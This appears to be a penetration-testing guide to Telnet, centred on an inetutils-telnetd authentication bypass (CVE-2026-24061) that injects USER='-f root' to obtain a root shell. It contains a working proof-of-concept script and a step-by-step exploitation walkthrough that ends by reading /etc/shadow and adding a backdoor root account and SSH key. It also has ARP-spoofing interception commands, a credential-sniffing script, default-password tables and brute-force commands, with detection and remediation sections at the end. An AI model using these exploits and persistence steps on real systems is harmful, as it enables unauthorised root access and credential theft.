Overview
Telnet (TELetype NETwork, RFC 854) is a decades-old protocol operating on TCP port 23 that provides an unencrypted bidirectional text communication channel. In 2026, Telnet continues to appear in pentests and red team engagements — on embedded devices, industrial controllers, medical devices, network equipment, IoT sensors, smart building systems, and legacy operational technology. It also appears on Linux servers still running inetutils-telnetd, where a critical authentication bypass was disclosed in early 2026.
Default Port: 23/TCP
CVE-2026-24061 — inetutils-telnetd Authentication Bypass
CVSS: Critical Affected: inetutils-telnetd (specific versions on Linux using PAM) Type: Authentication bypass via TELNET environment variable injection Reference: https://github.com/leonjza/inetutils-telnetd-auth-bypass
Vulnerability Details
The Telnet protocol supports passing environment variables from client to server during option negotiation (RFC 1408 / RFC 1572 — TELNET ENVIRON option). The inetutils-telnetd implementation on Linux passes user-supplied environment variables to PAM authentication.
The critical issue: PAM’s pam_env and certain PAM modules honor a USER environment variable if it is not properly sanitized. When telnetd passes the attacker-controlled USER variable to PAM, and the value is -f root (or similar flag-injection), PAM interprets the -f flag as “pre-authenticated user.” The underlying login binary (and some PAM stacks) treat -f username as bypassing password authentication for the specified user.
Mechanism:
- Client connects to
inetutils-telnetdon port 23 - During TELNET option negotiation, client sends
ENVIRONwithUSER=-f root telnetdpasses this environment to PAM/login- PAM/login parses
-f rootas “fast login” for root — no password required - Root shell is granted
Version Check
# Check if inetutils-telnetd is installed
dpkg -l inetutils-telnetd 2>/dev/null
rpm -qa | grep inetutils-telnet 2>/dev/null
# Check telnetd binary
telnetd --version 2>/dev/null || /usr/sbin/in.telnetd --version 2>/dev/null
# Check inetd/xinetd for telnetd invocation
grep telnet /etc/inetd.conf 2>/dev/null
grep -r telnet /etc/xinetd.d/ 2>/dev/null
PoC — Authentication Bypass
The bypass requires setting the USER environment variable to -f root before connecting with telnet -a (which tells the Telnet client to pass the current environment).
# Method 1: Set USER env and use telnet -a (auto-login mode)
export USER='-f root'
telnet -a TARGET_IP
# Method 2: Using env to isolate the variable
env USER='-f root' telnet -a TARGET_IP 23
# Method 3: Manual ENVIRON option injection with netcat
# Send the IAC SB ENVIRON IS NEW_ENV USER "-f root" IAC SE sequence
python3 -c "
import socket, time
TARGET = 'TARGET_IP'
PORT = 23
# Telnet IAC sequences
IAC = b'\xff'
SB = b'\xfa' # Subnegotiation Begin
SE = b'\xf0' # Subnegotiation End
WILL = b'\xfb'
DO = b'\xfd'
NEW_ENV = b'\x27' # Telnet option: NEW-ENVIRON (39)
IS = b'\x00'
NEW = b'\x02'
VAR = b'\x00'
VALUE = b'\x01'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
time.sleep(1)
banner = s.recv(4096)
print(f'Banner: {banner}')
# Respond to option negotiation then send USER=-f root
env_payload = (
IAC + SB + NEW_ENV + IS +
VAR + b'USER' + VALUE + b'-f root' +
IAC + SE
)
s.send(env_payload)
time.sleep(1)
resp = s.recv(4096)
print(f'Response: {resp}')
s.close()
"
Full Exploitation Walkthrough
# Step 1: Confirm telnetd is running and version is vulnerable
nmap -sV -p 23 TARGET_IP
echo "" | nc -w3 TARGET_IP 23 # grab banner
# Step 2: Confirm inetutils-telnetd specifically (not busybox telnetd)
# Banner may show: "Debian GNU/Linux" login prompt via inetutils
# Step 3: Set USER environment variable to bypass PAM auth
export USER='-f root'
# Step 4: Connect with telnet auto-login flag
telnet -a TARGET_IP
# If successful: root shell without password prompt
# Expected: "Last login: ..." followed by root shell
# Step 5: Verify privilege
id
whoami
cat /etc/shadow
# Step 6: Establish persistence
echo 'root2:x:0:0::/root:/bin/bash' >> /etc/passwd
# or
ssh-keygen -t ed25519 -f /tmp/id_ed25519 -N ""
mkdir -p /root/.ssh
cat /tmp/id_ed25519.pub >> /root/.ssh/authorized_keys
Detection Check for Defenders
# Check if server is running vulnerable inetutils-telnetd
# Look for NEW-ENVIRON option support in telnetd source/config
strings /usr/sbin/in.telnetd | grep -i "environ\|USER\|-f"
# Check PAM configuration for telnet service
cat /etc/pam.d/telnet
cat /etc/pam.d/login | grep -i pam_env
# Check if USER variable is sanitized before PAM call
# (Patched versions strip leading dashes from USER env)
Nuclei Template Reference
# Run nuclei to detect telnetd exposure and fingerprint version
nuclei -u TARGET_IP:23 -t network/detection/telnet-detect.yaml
nuclei -u TARGET_IP -t network/detection/telnet-version.yaml
# Check for CVE-2026-24061 specifically
nuclei -u TARGET_IP:23 -t cves/2026/CVE-2026-24061.yaml
Recon and Fingerprinting
# Service detection
nmap -sV -p 23 TARGET_IP
# Banner grab
echo "" | nc -w3 TARGET_IP 23
# Detailed Telnet probe
nmap -p 23 --script telnet-ntlm-info TARGET_IP
nmap -p 23 --script telnet-encryption TARGET_IP
# Scan for open Telnet in a network
nmap -p 23 --open 192.168.1.0/24
nmap -p 23 --open 10.0.0.0/8 --min-rate 1000
# Check for Telnet across multiple potential ports (some devices use non-standard ports)
nmap -p 23,2323,2324,26,2300,2301 TARGET_IP
Device Identification from Banner
# Capture Telnet banner
(sleep 3; echo "") | nc TARGET_IP 23 2>/dev/null
# Telnet banners often identify:
# - Cisco IOS: "User Access Verification"
# - Juniper JunOS: "login:"
# - Linux busybox: "BusyBox"
# - inetutils-telnetd: "Debian GNU/Linux" or distribution name
# - Huawei: "Login authentication"
# - Router/switch model in banner text
inetd/xinetd Misconfigurations
On Linux systems, Telnet is commonly exposed via inetd or xinetd:
# Check if inetd is running
ps aux | grep -E "inetd|xinetd"
systemctl status inetd xinetd 2>/dev/null
# inetd.conf — Telnet entry
grep telnet /etc/inetd.conf
# If present: "telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd"
# xinetd configuration
cat /etc/xinetd.d/telnet 2>/dev/null
ls /etc/xinetd.d/ | grep telnet
# Check if port 23 is open
ss -tlnp | grep 23
netstat -tlnp | grep 23
Vulnerable inetd Configuration
A common misconfiguration is running Telnet with root privileges and no access control:
# /etc/inetd.conf (INSECURE example)
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
# /etc/xinetd.d/telnet (INSECURE example)
service telnet
{
flags = REUSE
socket_type = stream
wait = no
user = root # Running as root!
server = /usr/sbin/in.telnetd
log_on_failure += USERID
disable = no # Enabled!
# No: only_from = restriction
}
Cleartext Credential Interception
This is the primary attack vector for Telnet — any network-position attacker (same VLAN, ARP poisoning, MITM via router, compromised switch) can capture credentials in plaintext.
Passive Capture with tcpdump
# Capture all Telnet traffic
tcpdump -i eth0 -w telnet_capture.pcap port 23
# Real-time credential extraction (Telnet sends one character at a time)
tcpdump -i eth0 port 23 -A 2>/dev/null | grep -v "^$\|IP\|listen\|ack\|seq\|win\|length\|\.23\. " | tr -d '\n'
# More targeted capture
tcpdump -i eth0 'tcp port 23' -l -A | sed -n '/^\./p'
Wireshark Analysis
# Wireshark filter for Telnet
tcp.port == 23
# Follow TCP stream to read full session
# Right-click → Follow → TCP Stream
# Filter for data packets only (exclude handshake)
tcp.port == 23 && tcp.len > 0
# Extract credentials from Telnet stream
# Telnet sends each keystroke as a separate TCP packet
# The password appears in cleartext (character by character or as a string)
Automated Credential Extraction
#!/usr/bin/env python3
"""
Parse a pcap file for Telnet credentials
Reconstructs session character by character
"""
from scapy.all import rdpcap, TCP, Raw
import sys
PCAP = sys.argv[1] if len(sys.argv) > 1 else "telnet_capture.pcap"
TARGET_PORT = 23
packets = rdpcap(PCAP)
sessions = {}
for pkt in packets:
if TCP in pkt and Raw in pkt:
sport = pkt[TCP].sport
dport = pkt[TCP].dport
payload = pkt[Raw].load
# Skip Telnet option negotiation (IAC sequences starting with 0xFF)
if payload.startswith(b'\xff'):
continue
# Track streams
if dport == TARGET_PORT:
key = (pkt.src, pkt.dst)
direction = "CLIENT"
elif sport == TARGET_PORT:
key = (pkt.dst, pkt.src)
direction = "SERVER"
else:
continue
if key not in sessions:
sessions[key] = []
sessions[key].append((direction, payload))
for session, data in sessions.items():
print(f"\n=== Session: {session[0]} → {session[1]} ===")
client_data = b""
for direction, payload in data:
if direction == "CLIENT":
client_data += payload
print(f"Client input: {client_data}")
# Extract credentials (look for login/password patterns)
decoded = client_data.decode('ascii', errors='replace')
print(f"Decoded: {repr(decoded)}")
MitM Attack Scenarios
ARP Poisoning → Telnet Interception
# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 2: ARP poison (intercept traffic between victim and gateway)
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# Step 3: Capture Telnet traffic
tcpdump -i eth0 -w telnet_mitm.pcap host VICTIM_IP and port 23
# Step 4: Analyze capture
# Follow TCP streams in Wireshark or use the Python script above
Using ettercap for Telnet MitM
# ettercap with Telnet plugin
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# Filter for Telnet specifically
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP// -P telnet
Default Credentials on Common Devices
| Device Type | Default Username | Default Password |
|---|---|---|
| Cisco IOS (old) | cisco | cisco |
| Cisco IOS | admin | (blank or cisco) |
| Juniper JunOS | root | (blank) |
| Huawei routers | admin | admin |
| Huawei | root | admin |
| MikroTik | admin | (blank) |
| HP ProCurve | operator | (blank) |
| D-Link | admin | (blank) |
| TP-Link | admin | admin |
| BusyBox Linux (IoT) | root | (blank) |
| Dahua DVR | admin | admin |
| Hikvision | admin | 12345 |
# Hydra brute force against Telnet
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET_IP telnet
# medusa
medusa -h TARGET_IP -u admin -P /usr/share/wordlists/rockyou.txt -M telnet
# With user list
hydra -L userlist.txt -P passlist.txt TARGET_IP telnet -t 4
Nmap Telnet Scripts
# Enumerate Telnet service details
nmap -p 23 --script telnet-ntlm-info TARGET_IP
# Check encryption support (Telnet AES — rare)
nmap -p 23 --script telnet-encryption TARGET_IP
# All info scripts
nmap -p 23 -sV -sC TARGET_IP
# Script help
nmap --script-help telnet-ntlm-info
Detection and Monitoring
# Detect Telnet access via syslog
grep telnet /var/log/syslog
grep "telnetd\|in.telnetd" /var/log/auth.log
# Network-based detection — Wireshark/Suricata
# Suricata rule:
# alert tcp any any -> any 23 (msg:"Telnet Connection Attempt"; flow:to_server,established; content:"login"; nocase; sid:1000023; rev:1;)
# Zeek/Bro detection script for credential logging
# Zeek logs Telnet sessions including extracted usernames
zeek -i eth0 /opt/zeek/share/zeek/base/protocols/telnet/
Remediation
| Action | Impact |
|---|---|
| Patch inetutils-telnetd | Fixes CVE-2026-24061 auth bypass |
| Disable Telnet service | Eliminates attack vector |
| Replace with SSH | Encrypted equivalent |
| Firewall port 23 | Reduces exposure |
| Network segmentation | Limits MitM opportunities |
| Change default credentials | Prevents trivial access |
| Upgrade firmware | May include Telnet removal |
# Disable Telnet on Linux (systemd)
systemctl stop telnet.socket 2>/dev/null
systemctl disable telnet.socket 2>/dev/null
# Disable via inetd
sed -i '/^telnet/s/^/#/' /etc/inetd.conf
service inetd restart
# Disable via xinetd
sed -i 's/disable\s*=\s*no/disable = yes/' /etc/xinetd.d/telnet
service xinetd restart
# Firewall block
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A OUTPUT -p tcp --sport 23 -j DROP
Hardening Summary
- Patch inetutils-telnetd immediately if running on Linux — CVE-2026-24061 allows unauthenticated root shell
- Never use Telnet for remote administration — use SSH instead
- Disable Telnet via inetd/xinetd and verify port 23 is closed
- Ensure PAM configuration for telnet/login properly sanitizes environment variables — reject values with leading dashes in
USER - If Telnet cannot be removed (legacy OT/medical), isolate the device on a dedicated management VLAN with no internet access
- Monitor for unexpected Telnet connections in security tooling (SIEM, NDR)
- For network equipment, mandate SSH-only management in security baseline policies
- Implement 802.1X network access control to prevent unauthorized devices from reaching management segments
Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.